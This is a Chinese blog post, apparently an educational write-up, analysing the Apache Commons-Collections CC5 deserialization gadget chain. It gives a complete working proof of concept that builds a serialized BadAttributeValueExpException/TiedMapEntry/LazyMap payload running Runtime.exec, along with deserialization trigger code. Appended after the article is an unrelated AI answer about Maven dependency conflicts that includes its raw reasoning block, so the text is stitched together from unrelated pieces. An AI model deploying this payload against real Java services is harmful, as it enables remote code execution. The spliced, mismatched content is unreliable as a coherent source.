Commons-Collections篇-CC5链分析

前言

CC5链和CC1差不多,只不过调用LazyMap.get()是通过TiedMapEntry.toString()触发的

1.环境

我们可以接着使用之前已经搭建好的环境,具体过程可以看CC1分析文章的环境安装部分
Commons-Collections篇-CC1链小白基础分析学习

2.分析

我们先把后半段Lazy.get到命令执行的代码写出来

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[]{String.class},
                        new Object[]{"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map, chainedTransformer);
        Lazy.get(1);
    }
}

在这里插入图片描述
我们查找get的用法,发现在TiedMapEntry.getValue()进行了调用

在这里插入图片描述我们接着寻找,在同类的toString方法找到了调用
在这里插入图片描述
接着寻找,但是toString方法太多了,我们直接跳到目标BadAttributeValueExpException.readObject()方法处
在这里插入图片描述

在这里插入图片描述
在构造处我们能看见也有个toString方法,所以在刚开始会自动调用poc,我们需要和前几次分析一样,先传入一个随便的值,在最后通过反射修改回我们构造的命令

3.编写POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[]{String.class},
                        new Object[]{"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazy,"admin");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);

        Class a = badAttributeValueExpException.getClass();
        Field val = a.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

        serializable(badAttributeValueExpException);
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

我们使用反序列化运行生成的poc

package org.example;
import java.lang.annotation.Annotation;

import com.oracle.jrockit.jfr.ValueDefinition;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC {
    public static void main(String[] args) throws Exception {
        //命令执行代码
        unserializable();
    }

    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

}

在这里插入图片描述

整体路线为:

BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
        LazyMap.get()
            ChainedTransformer.transform()
                        ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()    
                                    Class.getMethod()
                            InvokerTransformer.transform()
                    Method.invoke()                        
                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                    Method.invoke()                        
                    Runtime.exec()
        

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC2链分析

Commons-Collections篇-CC3链

Commons-Collections篇-CC4链分析

Commons-Collections篇-CC6链分析

<think>好的,我现在需要帮助用户解决Maven依赖树的问题以及依赖冲突。用户之前提到他们使用的是Tomcat 8.5.84,Java 1.8,Maven 3.6.1,并且遇到了java.lang.AbstractMethodError,这可能由依赖冲突引起。现在用户想查看Maven依赖树并解决可能的冲突。 首先,我应该回顾用户之前的问题和解决方案。用户之前得到关于检查JAX-RS依赖一致性、验证Tomcat类加载机制、升级依赖和清理本地仓库的建议。现在用户更具体地询问如何解析依赖树和解决冲突,特别是提到引用[1]中的Maven依赖冲突说明,即同一groupId和artifactId下只能使用一个版本。 用户需要知道如何生成和分析依赖树。根据Maven的知识,可以使用mvn dependency:tree命令。但用户可能还需要知道如何过滤特定的依赖,例如排除不需要的库或者找到冲突的来源。 接下来,解决依赖冲突的常用方法包括排除传递性依赖、统一版本号等。用户可能需要具体的例子,比如在pom.xml中如何写exclusion标签,或者如何用dependencyManagement来统一版本。引用[1]中的例子显示,如果有多个版本,Maven会选择最近的定义,但用户可能需要明确排除旧版本。 另外,用户的环境是Maven 3.6.1,可能需要确认该版本的Maven是否与其他工具(如IDEA)兼容,尤其是在生成依赖树时是否存在已知问题。比如引用[2]提到的编译错误可能与插件版本有关,但用户现在的问题是关于依赖树,所以可能需要确保插件版本正确,或者检查是否有其他因素导致依赖解析错误。 用户提到Tomcat 8.5.84,可能需要考虑Tomcat自带的库是否与项目依赖冲突。例如,Tomcat可能包含旧的servlet-api,导致与应用中的版本冲突。这时候需要确保scope为provided,或者在依赖中排除相关库。 此外,用户可能对如何解读依赖树的输出不太清楚,需要指导如何识别冲突,例如同一个库的不同版本出现在不同的路径下,或者存在多个不同版本的相同依赖。这时候需要解释Maven的依赖调解机制,如最短路径优先和最先声明优先。 还要考虑用户是否使用了IDE(如IntelliJ IDEA),是否可以通过IDE的图形化工具查看依赖树,这可能比命令行更直观。但用户明确要求使用Maven命令,所以应重点介绍命令行方法,同时可能提到IDE的辅助功能。 最后,确保回答结构清晰,分步骤说明如何生成依赖树、分析输出、解决冲突,并提供示例代码和命令,以及注意事项,比如清理本地仓库、更新项目等。同时,相关问题要引导用户进一步了解相关主题,比如Maven插件配置、依赖管理最佳实践等。</think>### 解决方案:Maven 依赖树解析与冲突解决 针对 **Tomcat 8.5.84 + Java 1.8 + Maven 3.6.1** 环境,依赖冲突可通过以下步骤定位和修复: --- #### 一、生成依赖树并分析 1. **命令行生成依赖树** 在项目根目录执行: ```bash mvn dependency:tree > dependency_tree.txt ``` 生成的 `dependency_tree.txt` 会展示 **所有依赖的层级关系**,例如: ``` [INFO] com.example:demo:jar:1.0 [INFO] +- org.glassfish.jersey.core:jersey-server:jar:2.34:compile [INFO] | \- javax.ws.rs:javax.ws.rs-api:jar:2.1.1:compile [INFO] \- org.apache.commons:commons-math3:jar:3.6.1:compile ``` 2. **过滤关键依赖** 使用 `-Dincludes` 参数缩小范围(支持通配符): ```bash mvn dependency:tree -Dincludes=javax.ws.rs*,org.glassfish.jersey* ``` 输出示例: ``` [INFO] +- javax.ws.rs:javax.ws.rs-api:jar:2.1.1:compile [INFO] \- org.glassfish.jersey.core:jersey-server:jar:2.34:compile ``` 3. **识别冲突标志** 查找以下模式: - 同一依赖的不同版本(如 `javax.ws.rs-api:2.1.1` 和 `javax.ws.rs-api:2.0.1`) - 不同路径引入的重复依赖(如通过 A 依赖 B 间接引入,同时直接声明 B) --- #### 二、依赖冲突解决方法 1. **排除传递性依赖** 在 `pom.xml` 中通过 `<exclusions>` 移除冲突的依赖: ```xml <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <exclusions> <exclusion> <groupId>org.glassfish.jersey.core</groupId> <artifactId>jersey-server</artifactId> </exclusion> </exclusions> </dependency> ``` 2. **统一版本号** 使用 `<dependencyManagement>` 强制指定版本(覆盖其他传递性依赖): ```xml <dependencyManagement> <dependencies> <dependency> <groupId>javax.ws.rs</groupId> <artifactId>javax.ws.rs-api</artifactId> <version>2.1.1</version> </dependency> </dependencies> </dependencyManagement> ``` 3. **处理 Tomcat 容器冲突** Tomcat 8.5 自带 `servlet-api` 等库,需确保项目依赖中相关库的 `<scope>` 为 `provided`: ```xml <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> ``` --- #### 三、验证与清理 1. **更新本地仓库** 清理旧版本缓存并重新下载: ```bash mvn clean install -U ``` 2. **检查最终依赖树** 确保冲突已解决: ```bash mvn dependency:tree -Dincludes=冲突的groupId:artifactId ``` --- ### 总结 依赖冲突的核心是 **版本不一致** 或 **传递性依赖污染**。通过分析依赖树定位问题,结合排除法或版本管理统一依赖[^1]。对于 Tomcat 环境,特别注意容器自带库与应用依赖的隔离(通过 `<scope>` 配置)[^2]。 --- ### 相关问题 1. 如何通过 Maven 插件可视化依赖关系? 2. `<dependencyManagement>` 和 `<dependencies>` 的区别是什么? 3. Tomcat 如何管理多个应用的类加载隔离?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值